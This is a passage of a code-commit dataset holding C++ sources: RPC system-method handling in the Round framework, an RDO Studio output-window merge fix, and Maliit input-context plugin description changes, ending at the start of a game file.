std::string scriptMethod;\n if (!jsonDict->get(SystemMethodRequest::NAME, &scriptMethod) || (scriptMethod.length() <= 0)) {\n RPC::JSON::ErrorCodeToError(RPC::JSON::ErrorCodeInvalidParams, err);\n return false;\n }\n\n \/\/ Couldn't override '_set_method'\n if (isSetMethod(scriptMethod)) {\n RPC::JSON::ErrorCodeToError(RPC::JSON::ErrorCodeInvalidParams, err);\n return false;\n }\n\n std::string scriptLang;\n if (!jsonDict->get(SystemMethodRequest::LANGUAGE, &scriptLang) || (scriptLang.length() <= 0)) {\n RPC::JSON::ErrorCodeToError(RPC::JSON::ErrorCodeInvalidParams, err);\n return false;\n }\n\n \/\/ This method is removed if the code parameter is null.\n std::string scriptCode;\n jsonDict->get(SystemMethodRequest::CODE, &scriptCode);\n \n \/\/ Encode\n int encodeType = Script::ENCODING_NONE;\n std::string encodeTypeStr;\n if (jsonDict->get(SystemMethodRequest::ENCODE, &encodeTypeStr)) {\n if (encodeTypeStr.compare(SystemMethodRequest::ENCODE_BASE64)) {\n encodeType = Script::ENCODING_BASE64;\n }\n }\n \n return this->scriptMgr.setScript(scriptMethod, scriptLang, scriptCode, encodeType, err);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ System Dynamic Method\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool Round::LocalNode::isSystemMethod(const std::string &method) {\n return (method.find(SystemMethodRequest::PREFIX) == 0) ? true : false;\n}\n\nbool Round::LocalNode::execSystemMethod(const NodeRequest *nodeReq, NodeResponse *nodeRes, Error *error) {\n static std::map<std::string, int> systemMethods;\n enum {\n SystemGetNodeInfo,\n SystemGetClusterInfo,\n SystemGetNetworkInfo,\n };\n \n if (systemMethods.size() <= 0) {\n systemMethods[SystemMethodRequest::GET_NODE_INFO] = SystemGetNodeInfo;\n systemMethods[SystemMethodRequest::GET_CLUSTER_INFO] = SystemGetClusterInfo;\n systemMethods[SystemMethodRequest::GET_NETWORK_INFO] = SystemGetNetworkInfo;\n }\n \n std::string reqMethod;\n nodeReq->getMethod(&reqMethod);\n \n if (systemMethods.find(reqMethod) == systemMethods.end()) {\n RPC::JSON::ErrorCodeToError(RPC::JSON::ErrorCodeMethodNotFound, error);\n return false;\n }\n \n int systemMethodType = systemMethods[reqMethod];\n switch (systemMethodType) {\n case SystemGetNodeInfo:\n return _get_node_info(nodeReq, nodeRes, error);\n case SystemGetClusterInfo:\n return _get_cluster_info(nodeReq, nodeRes, error);\n case SystemGetNetworkInfo:\n return _get_network_info(nodeReq, nodeRes, error);\n }\n \n RPC::JSON::ErrorCodeToError(RPC::JSON::ErrorCodeMethodNotFound, error);\n\n return false;\n}\n\nbool Round::LocalNode::_get_node_info(const NodeRequest *nodeReq, NodeResponse *nodeRes, Error *error) {\n SystemGetNodeInfoResponse sysRes(nodeRes);\n return sysRes.setNode(this);\n}\n\nbool Round::LocalNode::_get_cluster_info(const NodeRequest *nodeReq, NodeResponse *nodeRes, Error *error) {\n SystemGetClusterInfoResponse sysRes(nodeRes);\n return sysRes.setCluster(this);\n}\n\nbool Round::LocalNode::_get_network_info(const NodeRequest *nodeReq, NodeResponse *nodeRes, Error *error) {\n SystemGetNetworkInfoResponse sysRes(nodeRes);\n return sysRes.setClusters(this);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*!\n \\copyright (c) RDO-Team, 2003-2012\n \\file output.cpp\n \\author (rdo@rk9.bmstu.ru)\n \\date 20.02.2003\n \\brief \n \\indent 4T\n*\/\n\n\/\/ ---------------------------------------------------------------------------- PCH\n#include \"app\/rdo_studio_mfc\/pch\/stdpch.h\"\n\/\/ ----------------------------------------------------------------------- INCLUDES\n\/\/ ----------------------------------------------------------------------- SYNOPSIS\n#include \"simulator\/report\/build_edit_line_info.h\"\n#include \"app\/rdo_studio_mfc\/src\/output.h\"\n#include \"app\/rdo_studio_mfc\/src\/application.h\"\n#include \"app\/rdo_studio_mfc\/src\/main_windows_base.h\"\n#include \"app\/rdo_studio_mfc\/src\/model\/model.h\"\n#include \"app\/rdo_studio_mfc\/edit_ctrls\/rdobuildedit.h\"\n#include \"app\/rdo_studio_mfc\/edit_ctrls\/rdodebugedit.h\"\n#include \"app\/rdo_studio_mfc\/edit_ctrls\/rdofindedit.h\"\n#include \"app\/rdo_studio_mfc\/rdo_edit\/rdoeditorresults.h\"\n#include \"app\/rdo_studio_mfc\/rdo_edit\/rdoeditortabctrl.h\"\n#include \"app\/rdo_studio_mfc\/rdo_tracer\/rdotracer.h\"\n#include \"app\/rdo_studio_mfc\/rdo_tracer\/tracer_ctrls\/rdotracerlogctrl.h\"\n\/\/ --------------------------------------------------------------------------------\n\n#ifdef _DEBUG\n#define new DEBUG_NEW\n#undef THIS_FILE\nstatic char THIS_FILE[] = __FILE__;\n#endif\n\nusing namespace rdoEditor;\nusing namespace rdoEditCtrl;\nusing namespace rdo::simulation::report;\n\n\/\/ --------------------------------------------------------------------------------\n\/\/ -------------------- RDOStudioOutput\n\/\/ --------------------------------------------------------------------------------\nBEGIN_MESSAGE_MAP(RDOStudioOutput, RDOStudioDockWnd)\n\tON_WM_CREATE()\nEND_MESSAGE_MAP()\n\nRDOStudioOutput::RDOStudioOutput()\n\t: build (NULL)\n\t, debug (NULL)\n\t, trace (NULL)\n\t, results(NULL)\n\t, find (NULL)\n{}\n\nRDOStudioOutput::~RDOStudioOutput()\n{\n\teraseMenu( &popupMenu );\n}\n\nint RDOStudioOutput::OnCreate(LPCREATESTRUCT lpCreateStruct) \n{\n\tif (RDOStudioDockWnd::OnCreate(lpCreateStruct) == -1)\n\t\treturn -1;\n\n\ttab.Create( NULL, NULL, 0, CRect(0, 0, 100, 100), this, 0 );\n\ttab.modifyTabStyle( 0, TCS_MULTILINE );\n\/\/\ttab.modifyTabStyle( 0, TCS_BOTTOM | TCS_MULTILINE );\n\n\tpopupMenu.CreatePopupMenu();\n\n\tif (AfxGetMainWnd())\n\t{\n\t\tCMenu* mainMenu = AfxGetMainWnd()->GetMenu();\n\t\tif (mainMenu)\n\t\t{\n\t\t\trbool maximized = studioApp.getIMainWnd()->isMDIMaximazed();\n\t\t\tint delta = maximized ? 1 : 0;\n\n\t\t\tappendMenu( mainMenu->GetSubMenu( 1 + delta ), 4, &popupMenu );\n\t\t\tappendMenu( mainMenu->GetSubMenu( 1 + delta ), 8, &popupMenu );\n\t\t\tappendMenu( mainMenu->GetSubMenu( 1 + delta ), 10, &popupMenu );\n\t\t\tpopupMenu.AppendMenu( MF_SEPARATOR );\n\t\t\tappendMenu( mainMenu->GetSubMenu( 2 + delta ), 0, &popupMenu );\n\t\t\tappendMenu( mainMenu->GetSubMenu( 2 + delta ), 1, &popupMenu );\n\t\t\tappendMenu( mainMenu->GetSubMenu( 2 + delta ), 2, &popupMenu );\n\t\t\tpopupMenu.AppendMenu( MF_SEPARATOR );\n\t\t\tappendMenu( mainMenu->GetSubMenu( 2 + delta ), 7, &popupMenu );\n\t\t\tappendMenu( mainMenu->GetSubMenu( 2 + delta ), 8, &popupMenu );\n\t\t\tappendMenu( mainMenu->GetSubMenu( 2 + delta ), 9, &popupMenu );\n\t\t\tappendMenu( mainMenu->GetSubMenu( 2 + delta ), 10, &popupMenu );\n\t\t}\n\t}\n\n\tbuild = new RDOBuildEdit;\n\tdebug = new RDODebugEdit;\n\ttrace = tracer->createLog();\n\tresults = new RDOEditorResults;\n\tfind = new RDOFindEdit;\n\n\tbuild->Create( NULL, NULL, 0, CRect(0, 0, 0, 0), tab.getTabAsParent(), 0 );\n\tdebug->Create( NULL, NULL, 0, CRect(0, 0, 0, 0), tab.getTabAsParent(), 0 );\n\ttrace->Create( NULL, NULL, 0, CRect(0, 0, 0, 0), tab.getTabAsParent(), 0 );\n\tresults->Create( NULL, NULL, 0, CRect(0, 0, 0, 0), tab.getTabAsParent(), 0 );\n\tfind->Create( NULL, NULL, 0, CRect(0, 0, 0, 0), tab.getTabAsParent(), 0 );\n\n\tbuild->setEditorStyle( &studioApp.getStyle()->style_build );\n\tbuild->setPopupMenu( &popupMenu );\n\n\tdebug->setEditorStyle( &studioApp.getStyle()->style_debug );\n\tdebug->setPopupMenu( &popupMenu );\n\n\ttrace->setStyle( &studioApp.getStyle()->style_trace );\n\n\tresults->setEditorStyle( &studioApp.getStyle()->style_results );\n\tresults->setPopupMenu( &popupMenu );\n\n\tfind->setEditorStyle( &studioApp.getStyle()->style_find );\n\tfind->setPopupMenu( &popupMenu );\n\n\ttab.insertItem( build, rdo::format( IDS_TAB_BUILD ).c_str() );\n\ttab.insertItem( debug, rdo::format( IDS_TAB_DEBUG ).c_str() );\n\ttab.insertItem( trace, rdo::format( IDS_TAB_TRACE ).c_str() );\n\ttab.insertItem( results, rdo::format( IDS_TAB_RESULT ).c_str() );\n\ttab.insertItem( find, rdo::format( IDS_TAB_FIND ).c_str() );\n\n\t\/\/studioApp.m_pMainFrame->registerCmdWnd( build, build->getSCIHWND() );\n\t\/\/studioApp.m_pMainFrame->registerCmdWnd( debug, debug->getSCIHWND() );\n\t\/\/studioApp.m_pMainFrame->registerCmdWnd( trace );\n\t\/\/studioApp.m_pMainFrame->registerCmdWnd( results, results->getSCIHWND() );\n\t\/\/studioApp.m_pMainFrame->registerCmdWnd( find, find->getSCIHWND() );\n\n\treturn 0;\n}\n\nvoid RDOStudioOutput::showBuild()\n{\n\tstudioApp.getIMainWnd()->showOutput();\n\ttab.setCurrentItem( 0 );\n\tif ( plugins->studioIsShow() ) {\n\t\tbuild->SetFocus();\n\t\tUpdateWindow();\n\t}\n}\n\nvoid RDOStudioOutput::showDebug()\n{\n\tstudioApp.getIMainWnd()->showOutput();\n\ttab.setCurrentItem( 1 );\n\tif ( plugins->studioIsShow() ) {\n\t\tdebug->SetFocus();\n\t\tUpdateWindow();\n\t}\n}\n\nvoid RDOStudioOutput::showTrace()\n{\n\tstudioApp.getIMainWnd()->showOutput();\n\ttab.setCurrentItem( 2 );\n\tif ( plugins->studioIsShow() ) {\n\t\ttrace->SetFocus();\n\t\tUpdateWindow();\n\t}\n}\n\nvoid RDOStudioOutput::showResults()\n{\n\tstudioApp.getIMainWnd()->showOutput();\n\ttab.setCurrentItem( 3 );\n\tif ( plugins->studioIsShow() ) {\n\t\tresults->SetFocus();\n\t\tUpdateWindow();\n\t}\n}\n\nvoid RDOStudioOutput::showFind()\n{\n\tstudioApp.getIMainWnd()->showOutput();\n\ttab.setCurrentItem( 4 );\n\tif ( plugins->studioIsShow() ) {\n\t\tfind->SetFocus();\n\t\tUpdateWindow();\n\t}\n}\n\nvoid RDOStudioOutput::clearBuild()\n{\n\tif ( build ) build->clearAll();\n}\n\nvoid RDOStudioOutput::clearDebug()\n{\n\tif ( debug ) debug->clearAll();\n}\n\nvoid RDOStudioOutput::clearResults()\n{\n\tif ( results ) results->clearAll();\n}\n\nvoid RDOStudioOutput::clearFind()\n{\n\tif ( find ) find->clearAll();\n}\n\nvoid RDOStudioOutput::appendStringToBuild( CREF(tstring) str ) const\n{\n\tPTR(BuildEditLineInfo) pLine = new BuildEditLineInfo( str );\n\tbuild->appendLine( pLine );\n}\n\nvoid RDOStudioOutput::appendStringToBuild( CREF(rdo::simulation::report::FileMessage) message ) const\n{\n\tif ( message.getType() == rdo::simulation::report::FileMessage::MT_ERROR || (message.getType() == FileMessage::MT_WARNING && static_cast<PTR(RDOBuildEditTheme)>(studioApp.m_pMainFrame->style_build.theme)->warning) )\n\t{\n\t\tPTR(BuildEditLineInfo) pLine = new BuildEditLineInfo(message);\n\t\tbuild->appendLine(pLine);\n\t}\n}\n\nvoid RDOStudioOutput::appendStringToDebug( CREF(tstring) str ) const\n{\n\tdebug->appendLine( str );\n}\n\nvoid RDOStudioOutput::appendStringToResults( CREF(tstring) str ) const\n{\n\tint pos = results->getCurrentPos();\n\tresults->setCurrentPos(results->getLength());\n\tresults->setReadOnly (false);\n\tresults->appendText (str );\n\tresults->setReadOnly (true );\n\tresults->setCurrentPos(pos );\n}\n\nvoid RDOStudioOutput::appendStringToFind( CREF(tstring) str, rdoModelObjects::RDOFileType fileType, int lineNumber, int posInLine ) const\n{\n\tLogEditLineInfo* line = new LogEditLineInfo( rdo::simulation::report::FileMessage(str, fileType, lineNumber, posInLine ) );\n\tfind->appendLine( line );\n}\n\nvoid RDOStudioOutput::Tab::changeCurrentItem()\n{\n\tstudioApp.getIMainWnd()->output.updateLogConnection();\n}\n\nvoid RDOStudioOutput::updateLogConnection() const\n{\n\tint item = tab.getCurrentIndex();\n\tRDOLogEdit* log = NULL;\n\tif ( item == 0 ) {\n\t\tlog = build;\n\t} else if ( item == 4 ) {\n\t\tlog = find;\n\t}\n\tif ( log ) {\n\t\trdoEditor::RDOEditorTabCtrl* editor_tab = model->getTab();\n\t\tif ( editor_tab ) {\n\t\t\tfor ( int i = 0; i < editor_tab->getItemCount(); i++ ) {\n\t\t\t\teditor_tab->getItemEdit( i )->setLog( *log );\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid RDOStudioOutput::updateStyles() const\n{\n\tbuild->setEditorStyle( &studioApp.getStyle()->style_build );\n\tdebug->setEditorStyle( &studioApp.getStyle()->style_debug );\n\ttrace->setStyle( &studioApp.getStyle()->style_trace );\n\tresults->setEditorStyle( &studioApp.getStyle()->style_results );\n\tfind->setEditorStyle( &studioApp.getStyle()->style_find );\n}\n<commit_msg> - конфликт после мержа<commit_after>\/*!\n \\copyright (c) RDO-Team, 2003-2012\n \\file output.cpp\n \\author (rdo@rk9.bmstu.ru)\n \\date 20.02.2003\n \\brief \n \\indent 4T\n*\/\n\n\/\/ ---------------------------------------------------------------------------- PCH\n#include \"app\/rdo_studio_mfc\/pch\/stdpch.h\"\n\/\/ ----------------------------------------------------------------------- INCLUDES\n\/\/ ----------------------------------------------------------------------- SYNOPSIS\n#include \"simulator\/report\/build_edit_line_info.h\"\n#include \"app\/rdo_studio_mfc\/src\/output.h\"\n#include \"app\/rdo_studio_mfc\/src\/application.h\"\n#include \"app\/rdo_studio_mfc\/src\/main_windows_base.h\"\n#include \"app\/rdo_studio_mfc\/src\/model\/model.h\"\n#include \"app\/rdo_studio_mfc\/edit_ctrls\/rdobuildedit.h\"\n#include \"app\/rdo_studio_mfc\/edit_ctrls\/rdodebugedit.h\"\n#include \"app\/rdo_studio_mfc\/edit_ctrls\/rdofindedit.h\"\n#include \"app\/rdo_studio_mfc\/rdo_edit\/rdoeditorresults.h\"\n#include \"app\/rdo_studio_mfc\/rdo_edit\/rdoeditortabctrl.h\"\n#include \"app\/rdo_studio_mfc\/rdo_tracer\/rdotracer.h\"\n#include \"app\/rdo_studio_mfc\/rdo_tracer\/tracer_ctrls\/rdotracerlogctrl.h\"\n\/\/ --------------------------------------------------------------------------------\n\n#ifdef _DEBUG\n#define new DEBUG_NEW\n#undef THIS_FILE\nstatic char THIS_FILE[] = __FILE__;\n#endif\n\nusing namespace rdoEditor;\nusing namespace rdoEditCtrl;\nusing namespace rdo::simulation::report;\n\n\/\/ --------------------------------------------------------------------------------\n\/\/ -------------------- RDOStudioOutput\n\/\/ --------------------------------------------------------------------------------\nBEGIN_MESSAGE_MAP(RDOStudioOutput, RDOStudioDockWnd)\n\tON_WM_CREATE()\nEND_MESSAGE_MAP()\n\nRDOStudioOutput::RDOStudioOutput()\n\t: build (NULL)\n\t, debug (NULL)\n\t, trace (NULL)\n\t, results(NULL)\n\t, find (NULL)\n{}\n\nRDOStudioOutput::~RDOStudioOutput()\n{\n\teraseMenu( &popupMenu );\n}\n\nint RDOStudioOutput::OnCreate(LPCREATESTRUCT lpCreateStruct) \n{\n\tif (RDOStudioDockWnd::OnCreate(lpCreateStruct) == -1)\n\t\treturn -1;\n\n\ttab.Create( NULL, NULL, 0, CRect(0, 0, 100, 100), this, 0 );\n\ttab.modifyTabStyle( 0, TCS_MULTILINE );\n\/\/\ttab.modifyTabStyle( 0, TCS_BOTTOM | TCS_MULTILINE );\n\n\tpopupMenu.CreatePopupMenu();\n\n\tif (AfxGetMainWnd())\n\t{\n\t\tCMenu* mainMenu = AfxGetMainWnd()->GetMenu();\n\t\tif (mainMenu)\n\t\t{\n\t\t\trbool maximized = studioApp.getIMainWnd()->isMDIMaximazed();\n\t\t\tint delta = maximized ? 1 : 0;\n\n\t\t\tappendMenu( mainMenu->GetSubMenu( 1 + delta ), 4, &popupMenu );\n\t\t\tappendMenu( mainMenu->GetSubMenu( 1 + delta ), 8, &popupMenu );\n\t\t\tappendMenu( mainMenu->GetSubMenu( 1 + delta ), 10, &popupMenu );\n\t\t\tpopupMenu.AppendMenu( MF_SEPARATOR );\n\t\t\tappendMenu( mainMenu->GetSubMenu( 2 + delta ), 0, &popupMenu );\n\t\t\tappendMenu( mainMenu->GetSubMenu( 2 + delta ), 1, &popupMenu );\n\t\t\tappendMenu( mainMenu->GetSubMenu( 2 + delta ), 2, &popupMenu );\n\t\t\tpopupMenu.AppendMenu( MF_SEPARATOR );\n\t\t\tappendMenu( mainMenu->GetSubMenu( 2 + delta ), 7, &popupMenu );\n\t\t\tappendMenu( mainMenu->GetSubMenu( 2 + delta ), 8, &popupMenu );\n\t\t\tappendMenu( mainMenu->GetSubMenu( 2 + delta ), 9, &popupMenu );\n\t\t\tappendMenu( mainMenu->GetSubMenu( 2 + delta ), 10, &popupMenu );\n\t\t}\n\t}\n\n\tbuild = new RDOBuildEdit;\n\tdebug = new RDODebugEdit;\n\ttrace = tracer->createLog();\n\tresults = new RDOEditorResults;\n\tfind = new RDOFindEdit;\n\n\tbuild->Create( NULL, NULL, 0, CRect(0, 0, 0, 0), tab.getTabAsParent(), 0 );\n\tdebug->Create( NULL, NULL, 0, CRect(0, 0, 0, 0), tab.getTabAsParent(), 0 );\n\ttrace->Create( NULL, NULL, 0, CRect(0, 0, 0, 0), tab.getTabAsParent(), 0 );\n\tresults->Create( NULL, NULL, 0, CRect(0, 0, 0, 0), tab.getTabAsParent(), 0 );\n\tfind->Create( NULL, NULL, 0, CRect(0, 0, 0, 0), tab.getTabAsParent(), 0 );\n\n\tbuild->setEditorStyle( &studioApp.getStyle()->style_build );\n\tbuild->setPopupMenu( &popupMenu );\n\n\tdebug->setEditorStyle( &studioApp.getStyle()->style_debug );\n\tdebug->setPopupMenu( &popupMenu );\n\n\ttrace->setStyle( &studioApp.getStyle()->style_trace );\n\n\tresults->setEditorStyle( &studioApp.getStyle()->style_results );\n\tresults->setPopupMenu( &popupMenu );\n\n\tfind->setEditorStyle( &studioApp.getStyle()->style_find );\n\tfind->setPopupMenu( &popupMenu );\n\n\ttab.insertItem( build, rdo::format( IDS_TAB_BUILD ).c_str() );\n\ttab.insertItem( debug, rdo::format( IDS_TAB_DEBUG ).c_str() );\n\ttab.insertItem( trace, rdo::format( IDS_TAB_TRACE ).c_str() );\n\ttab.insertItem( results, rdo::format( IDS_TAB_RESULT ).c_str() );\n\ttab.insertItem( find, rdo::format( IDS_TAB_FIND ).c_str() );\n\n\t\/\/studioApp.m_pMainFrame->registerCmdWnd( build, build->getSCIHWND() );\n\t\/\/studioApp.m_pMainFrame->registerCmdWnd( debug, debug->getSCIHWND() );\n\t\/\/studioApp.m_pMainFrame->registerCmdWnd( trace );\n\t\/\/studioApp.m_pMainFrame->registerCmdWnd( results, results->getSCIHWND() );\n\t\/\/studioApp.m_pMainFrame->registerCmdWnd( find, find->getSCIHWND() );\n\n\treturn 0;\n}\n\nvoid RDOStudioOutput::showBuild()\n{\n\tstudioApp.getIMainWnd()->showOutput();\n\ttab.setCurrentItem( 0 );\n\tif ( plugins->studioIsShow() ) {\n\t\tbuild->SetFocus();\n\t\tUpdateWindow();\n\t}\n}\n\nvoid RDOStudioOutput::showDebug()\n{\n\tstudioApp.getIMainWnd()->showOutput();\n\ttab.setCurrentItem( 1 );\n\tif ( plugins->studioIsShow() ) {\n\t\tdebug->SetFocus();\n\t\tUpdateWindow();\n\t}\n}\n\nvoid RDOStudioOutput::showTrace()\n{\n\tstudioApp.getIMainWnd()->showOutput();\n\ttab.setCurrentItem( 2 );\n\tif ( plugins->studioIsShow() ) {\n\t\ttrace->SetFocus();\n\t\tUpdateWindow();\n\t}\n}\n\nvoid RDOStudioOutput::showResults()\n{\n\tstudioApp.getIMainWnd()->showOutput();\n\ttab.setCurrentItem( 3 );\n\tif ( plugins->studioIsShow() ) {\n\t\tresults->SetFocus();\n\t\tUpdateWindow();\n\t}\n}\n\nvoid RDOStudioOutput::showFind()\n{\n\tstudioApp.getIMainWnd()->showOutput();\n\ttab.setCurrentItem( 4 );\n\tif ( plugins->studioIsShow() ) {\n\t\tfind->SetFocus();\n\t\tUpdateWindow();\n\t}\n}\n\nvoid RDOStudioOutput::clearBuild()\n{\n\tif ( build ) build->clearAll();\n}\n\nvoid RDOStudioOutput::clearDebug()\n{\n\tif ( debug ) debug->clearAll();\n}\n\nvoid RDOStudioOutput::clearResults()\n{\n\tif ( results ) results->clearAll();\n}\n\nvoid RDOStudioOutput::clearFind()\n{\n\tif ( find ) find->clearAll();\n}\n\nvoid RDOStudioOutput::appendStringToBuild( CREF(tstring) str ) const\n{\n\tPTR(BuildEditLineInfo) pLine = new BuildEditLineInfo( str );\n\tbuild->appendLine( pLine );\n}\n\nvoid RDOStudioOutput::appendStringToBuild( CREF(rdo::simulation::report::FileMessage) message ) const\n{\n\tif ( message.getType() == rdo::simulation::report::FileMessage::MT_ERROR || (message.getType() == FileMessage::MT_WARNING && static_cast<PTR(RDOBuildEditTheme)>(studioApp.getStyle()->style_build.theme)->warning) )\n\t{\n\t\tPTR(BuildEditLineInfo) pLine = new BuildEditLineInfo(message);\n\t\tbuild->appendLine(pLine);\n\t}\n}\n\nvoid RDOStudioOutput::appendStringToDebug( CREF(tstring) str ) const\n{\n\tdebug->appendLine( str );\n}\n\nvoid RDOStudioOutput::appendStringToResults( CREF(tstring) str ) const\n{\n\tint pos = results->getCurrentPos();\n\tresults->setCurrentPos(results->getLength());\n\tresults->setReadOnly (false);\n\tresults->appendText (str );\n\tresults->setReadOnly (true );\n\tresults->setCurrentPos(pos );\n}\n\nvoid RDOStudioOutput::appendStringToFind( CREF(tstring) str, rdoModelObjects::RDOFileType fileType, int lineNumber, int posInLine ) const\n{\n\tLogEditLineInfo* line = new LogEditLineInfo( rdo::simulation::report::FileMessage(str, fileType, lineNumber, posInLine ) );\n\tfind->appendLine( line );\n}\n\nvoid RDOStudioOutput::Tab::changeCurrentItem()\n{\n\tstudioApp.getIMainWnd()->output.updateLogConnection();\n}\n\nvoid RDOStudioOutput::updateLogConnection() const\n{\n\tint item = tab.getCurrentIndex();\n\tRDOLogEdit* log = NULL;\n\tif ( item == 0 ) {\n\t\tlog = build;\n\t} else if ( item == 4 ) {\n\t\tlog = find;\n\t}\n\tif ( log ) {\n\t\trdoEditor::RDOEditorTabCtrl* editor_tab = model->getTab();\n\t\tif ( editor_tab ) {\n\t\t\tfor ( int i = 0; i < editor_tab->getItemCount(); i++ ) {\n\t\t\t\teditor_tab->getItemEdit( i )->setLog( *log );\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid RDOStudioOutput::updateStyles() const\n{\n\tbuild->setEditorStyle( &studioApp.getStyle()->style_build );\n\tdebug->setEditorStyle( &studioApp.getStyle()->style_debug );\n\ttrace->setStyle( &studioApp.getStyle()->style_trace );\n\tresults->setEditorStyle( &studioApp.getStyle()->style_results );\n\tfind->setEditorStyle( &studioApp.getStyle()->style_find );\n}\n<|endoftext|>"} {"text":"<commit_before>\/* * This file is part of Maliit framework *\n *\n * Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n * All rights reserved.\n *\n * Contact: maliit-discuss@lists.maliit.org\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1 as published by the Free Software Foundation\n * and appearing in the file LICENSE.LGPL included in the packaging\n * of this file.\n *\/\n\n#include \"mdirectinputcontextplugin.h\"\n\n#include \"mimserver.h\"\n#include \"mimapphostedserverlogic.h\"\n\n#include \"connectionfactory.h\"\n#include \"mimdirectserverconnection.h\"\n#include \"miminputcontextdirectconnection.h\"\n\n#include <maliit\/inputmethod.h>\n\nusing namespace std::tr1;\n\n#include <minputcontext.h>\n#include <QString>\n#include <QStringList>\n\nnamespace {\n const QString MaliitDirectInputContextName(MALIIT_INPUTCONTEXT_NAME\"Direct\");\n}\n\nMDirectInputContextPlugin::MDirectInputContextPlugin(QObject *parent)\n : QInputContextPlugin(parent)\n{\n \/\/ nothing\n}\n\n\nMDirectInputContextPlugin::~MDirectInputContextPlugin()\n{\n \/\/ nothing\n}\n\n\nQInputContext *MDirectInputContextPlugin::create(const QString &key)\n{\n QInputContext *ctx = NULL;\n\n if (key == MaliitDirectInputContextName) {\n QSharedPointer<MImDirectServerConnection> serverConnection =\n qSharedPointerObjectCast<MImDirectServerConnection>(Maliit::createServerConnection(MaliitDirectInputContextName));\n MImInputContextDirectConnection *icConnection = new MImInputContextDirectConnection;\n serverConnection->connectTo(icConnection);\n\n shared_ptr<MInputContextConnection> icConn(icConnection);\n QSharedPointer<MImAppHostedServerLogic> serverLogic(new MImAppHostedServerLogic);\n MImServer::configureSettings(MImServer::TemporarySettings);\n MImServer *imServer = new MImServer(serverLogic, icConn);\n\n Maliit::InputMethod::instance()->setWidget(serverLogic->pluginsProxyWidget());\n\n ctx = new MInputContext(serverConnection, MaliitDirectInputContextName, this);\n imServer->setParent(ctx);\n } else {\n qCritical() << \"Unknown plugin name\";\n }\n\n return ctx;\n}\n\n\nQString MDirectInputContextPlugin::description(const QString &s)\n{\n Q_UNUSED(s);\n\n return \"Maliit input context plugin\";\n}\n\n\nQString MDirectInputContextPlugin::displayName(const QString &s)\n{\n Q_UNUSED(s);\n\n \/\/ TODO: want this translated?\n return \"Input context for Maliit input methods\";\n}\n\n\nQStringList MDirectInputContextPlugin::keys() const\n{\n return QStringList(MaliitDirectInputContextName);\n}\n\n\nQStringList MDirectInputContextPlugin::languages(const QString &)\n{\n return QStringList(\"EN\"); \/\/ FIXME\n}\n\n\nQ_EXPORT_PLUGIN2(mdirectinputcontext, MDirectInputContextPlugin)\n\n<commit_msg>Differentiate direct input context plugin description strings<commit_after>\/* * This file is part of Maliit framework *\n *\n * Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n * All rights reserved.\n *\n * Contact: maliit-discuss@lists.maliit.org\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1 as published by the Free Software Foundation\n * and appearing in the file LICENSE.LGPL included in the packaging\n * of this file.\n *\/\n\n#include \"mdirectinputcontextplugin.h\"\n\n#include \"mimserver.h\"\n#include \"mimapphostedserverlogic.h\"\n\n#include \"connectionfactory.h\"\n#include \"mimdirectserverconnection.h\"\n#include \"miminputcontextdirectconnection.h\"\n\n#include <maliit\/inputmethod.h>\n\nusing namespace std::tr1;\n\n#include <minputcontext.h>\n#include <QString>\n#include <QStringList>\n\nnamespace {\n const QString MaliitDirectInputContextName(MALIIT_INPUTCONTEXT_NAME\"Direct\");\n}\n\nMDirectInputContextPlugin::MDirectInputContextPlugin(QObject *parent)\n : QInputContextPlugin(parent)\n{\n \/\/ nothing\n}\n\n\nMDirectInputContextPlugin::~MDirectInputContextPlugin()\n{\n \/\/ nothing\n}\n\n\nQInputContext *MDirectInputContextPlugin::create(const QString &key)\n{\n QInputContext *ctx = NULL;\n\n if (key == MaliitDirectInputContextName) {\n QSharedPointer<MImDirectServerConnection> serverConnection =\n qSharedPointerObjectCast<MImDirectServerConnection>(Maliit::createServerConnection(MaliitDirectInputContextName));\n MImInputContextDirectConnection *icConnection = new MImInputContextDirectConnection;\n serverConnection->connectTo(icConnection);\n\n shared_ptr<MInputContextConnection> icConn(icConnection);\n QSharedPointer<MImAppHostedServerLogic> serverLogic(new MImAppHostedServerLogic);\n MImServer::configureSettings(MImServer::TemporarySettings);\n MImServer *imServer = new MImServer(serverLogic, icConn);\n\n Maliit::InputMethod::instance()->setWidget(serverLogic->pluginsProxyWidget());\n\n ctx = new MInputContext(serverConnection, MaliitDirectInputContextName, this);\n imServer->setParent(ctx);\n } else {\n qCritical() << \"Unknown plugin name\";\n }\n\n return ctx;\n}\n\n\nQString MDirectInputContextPlugin::description(const QString &s)\n{\n Q_UNUSED(s);\n\n return \"Maliit input context plugin (direct)\";\n}\n\n\nQString MDirectInputContextPlugin::displayName(const QString &s)\n{\n Q_UNUSED(s);\n\n \/\/ TODO: want this translated?\n return \"Input context for Maliit input methods (direct)\";\n}\n\n\nQStringList MDirectInputContextPlugin::keys() const\n{\n return QStringList(MaliitDirectInputContextName);\n}\n\n\nQStringList MDirectInputContextPlugin::languages(const QString &)\n{\n return QStringList(\"EN\"); \/\/ FIXME\n}\n\n\nQ_EXPORT_PLUGIN2(mdirectinputcontext, MDirectInputContextPlugin)\n\n<|endoftext|>"} {"text":"<commit_before>\/\/==============================================================================\n\n#include <game.hpp>\n#include <engine.hpp>\n#include <entity.hpp>\n#include <entity_manager.hpp>\n#include <viewport.hpp>\n#include <score.hpp>\n\n#include <hgeresource.h>\n\n#include <algorithm>\n#include <set>\n\n\/\/==============================================================================\nGame::Game()\n :\n Context(),\n m_arena()\n{\n}\n\n\/\/------------------------------------------------------------------------------\nGame::~Game()\n{\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ public:\n\/\/------------------------------------------------------------------------------\nvoid\nGame::init()\n{\n HGE * hge( Engine::hge() );\n b2World * b2d( 